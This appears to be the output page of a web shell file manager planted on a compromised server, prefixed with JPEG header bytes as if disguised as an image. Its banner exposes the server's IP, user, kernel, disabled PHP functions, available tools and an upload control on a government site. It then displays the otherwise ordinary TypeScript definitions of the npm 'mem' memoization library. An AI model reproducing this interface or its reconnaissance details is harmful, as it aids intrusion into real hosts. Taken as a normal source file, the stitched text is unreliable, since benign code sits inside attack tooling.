ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 13.58.21.119 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/mem/dist/ |
Upload File : |
declare type AnyFunction = (...arguments_: any) => any; interface CacheStorageContent<ValueType> { data: ValueType; maxAge: number; } interface CacheStorage<KeyType, ValueType> { has: (key: KeyType) => boolean; get: (key: KeyType) => CacheStorageContent<ValueType> | undefined; set: (key: KeyType, value: CacheStorageContent<ValueType>) => void; delete: (key: KeyType) => void; clear?: () => void; } interface Options<FunctionToMemoize extends AnyFunction, CacheKeyType> { /** Milliseconds until the cache expires. @default Infinity */ readonly maxAge?: number; /** Determines the cache key for storing the result based on the function arguments. By default, __only the first argument is considered__ and it only works with [primitives](https://developer.mozilla.org/en-US/docs/Glossary/Primitive). A `cacheKey` function can return any type supported by `Map` (or whatever structure you use in the `cache` option). You can have it cache **all** the arguments by value with `JSON.stringify`, if they are compatible: ``` import mem = require('mem'); mem(function_, {cacheKey: JSON.stringify}); ``` Or you can use a more full-featured serializer like [serialize-javascript](https://github.com/yahoo/serialize-javascript) to add support for `RegExp`, `Date` and so on. ``` import mem = require('mem'); import serializeJavascript = require('serialize-javascript'); mem(function_, {cacheKey: serializeJavascript}); ``` @default arguments_ => arguments_[0] @example arguments_ => JSON.stringify(arguments_) */ readonly cacheKey?: (arguments_: Parameters<FunctionToMemoize>) => CacheKeyType; /** Use a different cache storage. Must implement the following methods: `.has(key)`, `.get(key)`, `.set(key, value)`, `.delete(key)`, and optionally `.clear()`. You could for example use a `WeakMap` instead or [`quick-lru`](https://github.com/sindresorhus/quick-lru) for a LRU cache. @default new Map() @example new WeakMap() */ readonly cache?: CacheStorage<CacheKeyType, ReturnType<FunctionToMemoize>>; } /** [Memoize](https://en.wikipedia.org/wiki/Memoization) functions - An optimization used to speed up consecutive function calls by caching the result of calls with identical input. @param fn - Function to be memoized. @example ``` import mem = require('mem'); let i = 0; const counter = () => ++i; const memoized = mem(counter); memoized('foo'); //=> 1 // Cached as it's the same arguments memoized('foo'); //=> 1 // Not cached anymore as the arguments changed memoized('bar'); //=> 2 memoized('bar'); //=> 2 ``` */ declare const mem: { <FunctionToMemoize extends AnyFunction, CacheKeyType>(fn: FunctionToMemoize, { cacheKey, cache, maxAge }?: Options<FunctionToMemoize, CacheKeyType>): FunctionToMemoize; /** @returns A [decorator](https://github.com/tc39/proposal-decorators) to memoize class methods or static class methods. @example ``` import mem = require('mem'); class Example { index = 0 @mem.decorator() counter() { return ++this.index; } } class ExampleWithOptions { index = 0 @mem.decorator({maxAge: 1000}) counter() { return ++this.index; } } ``` */ decorator<FunctionToMemoize_1 extends AnyFunction, CacheKeyType_1>(options?: Options<FunctionToMemoize_1, CacheKeyType_1>): (target: any, propertyKey: string, descriptor: PropertyDescriptor) => void; /** Clear all cached data of a memoized function. @param fn - Memoized function. */ clear(fn: AnyFunction): void; }; export = mem;